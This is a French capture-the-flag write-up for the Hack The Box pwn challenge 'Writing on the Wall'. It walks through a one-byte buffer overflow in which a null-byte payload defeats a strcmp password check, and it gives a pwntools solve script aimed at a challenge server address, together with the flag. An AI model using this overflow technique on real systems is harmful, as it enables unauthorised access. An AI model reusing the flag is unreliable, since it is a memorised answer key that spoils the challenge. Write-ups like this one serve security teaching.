# Writing on the Wall

**Catégorie:** Pwn\
**Difficulté:** very-easy\
**Flag:** HTB{3v3ryth1ng\_15\_r34d4bl3}

## Challenge

{% file src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FSXcDTkWusqSZw0iiZa2Y%2Fpwn_writing_on_the_wall.zip?alt=media&token=514ed537-20ab-4164-8a44-075f99cf14f3" %}

{% hint style="info" %}
#### Description

***

As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door's secrets?
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker, disponible sur [Github](https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/pwn/\[Very%20Easy]%20Writing%20on%20the%20wall)
{% endhint %}

## Analyse du binaire

Après décompilation, on obtient à peu près ce code (avec quelques modifications de noms de variables)

```python
int main(void) {
  long lVar1;
  int iVar2;
  long in_FS_OFFSET;
  char buffer [6];
  char password [8];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);

  password = "w3tpass ";
  read(0, buffer, 7);
  different = strcmp(buffer,password);
  if (different == 0) {
    open_door();
  }
  else {
    error("You activated the alarm! Troops are coming your way, RUN!\n");
  }

  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0;
}
```

On peut voir que l’on récupère **7** octets de l’input et qu’on les places dans la variable **`buffer`** qui en fait seulement **6**. Autrement dit, on a un dépassement de tampon et ce 7ème octet terminera dans le premier de la variable **`password` .**

Donc si l’on met un NULL byte, soit **`\x00`** en 7ème position, la chaîne de caractère de **`paswword`** commencera par **`\x00`** et donc lors de la comparaison, elle se termina aussi tôt, oubliant les caractères suivants.

On peut faire la même chose avec notre input, le faire commencer par **`\x00`** pour faire croire à une chaîne vide.

Ainsi, si notre input ressemble à **`\x00?????\x00`** (où les **`?`** peuvent être n’importe quoi), la fonction pensera comparer deux chaînes vides, c’est à dire deux chaînes identiques et appellera donc **`open_door()`**

***

## Script de résolution

```python
from pwnlib.tubes.remote import remote

def solve(host, port):
	client = remote(host, port)
	client.recvuntil(b'>> ')

	payload = b"\x00ZBEUB\x00"
	client.send_raw(payload)

	flag = client.recvline().decode().split(': ')[1].strip()
	print(f"Flag: {flag}")

if __name__ == '__main__':
	solve('83.136.251.7', 50560)
```
